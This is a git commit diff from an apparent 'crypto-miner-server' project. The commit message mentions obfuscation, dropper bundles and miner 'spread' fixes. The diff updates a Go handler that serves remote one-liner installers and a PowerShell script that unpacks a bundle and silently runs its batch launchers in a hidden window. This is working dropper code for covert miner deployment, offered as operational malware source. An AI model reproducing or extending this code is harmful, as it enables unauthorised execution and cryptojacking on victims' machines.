fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -3,10 +3,12 @@ package api
import (
"fmt"
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
// DropperHandler serves the one-liner remote-install endpoints:
@@ -17,11 +19,12 @@ import (
// GET /install.ps1 — PowerShell one-liner installer (Windows)
type DropperHandler struct {
db *dbpkg.Database
dataDir string
publicURLFunc func() string
}
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
func NewDropperHandler(database *dbpkg.Database, dataDir string, publicURLFunc func() string) *DropperHandler {
return &DropperHandler{db: database, dataDir: dataDir, publicURLFunc: publicURLFunc}
}
func (h *DropperHandler) publicURL() string {
@@ -74,8 +77,7 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
for _, p := range candidates {
b, err := h.db.GetLatestBuildForPlatform(p)
if err == nil && b != nil {
buildPath = b.FilePath
buildName = filepath.Base(b.FilePath)
buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
break
}
}
@@ -181,7 +183,7 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
" $dir = $tmp + '_bundle'" + nl +
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
" foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
" foreach ($name in @('Start.bat', 'Deploy.bat', 'start.bat', 'deploy.bat')) {" + nl +
" $c = Join-Path $dir $name" + nl +
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
" }" + nl +
@@ -208,13 +210,37 @@ func (h *DropperHandler) resolveBase(r *http.Request) string {
scheme = "https"
}
// Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel).
if proto := r.Header.Get("X-Forwarded-Proto"); proto == "https" {
if proto := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); strings.EqualFold(proto, "https") {
scheme = "https"
}
// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
host := r.Header.Get("X-Forwarded-Host")
host := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0])
if host == "" {
host = r.Host
}
return scheme + "://" + host
}
// resolveDropperArtifact prefers DownloadURL (bundle artifact) over FilePath (launcher).
func resolveDropperArtifact(dataDir string, b *models.BuildRecord) (path, name string) {
if b == nil {
return "", ""
}
dl := strings.TrimSpace(b.DownloadURL)
if dl != "" && strings.Contains(dl, "/artifact/") {
parts := strings.Split(dl, "/artifact/")
if len(parts) == 2 && parts[1] != "" {
artifactName := filepath.Base(parts[1])
candidate := filepath.Join(dataDir, "builds", b.ID, artifactName)
if _, err := os.Stat(candidate); err == nil {
return candidate, artifactName
}
}
}
path = b.FilePath
name = strings.TrimSpace(b.FileName)
if name == "" && path != "" {
name = filepath.Base(path)
}
return path, name
}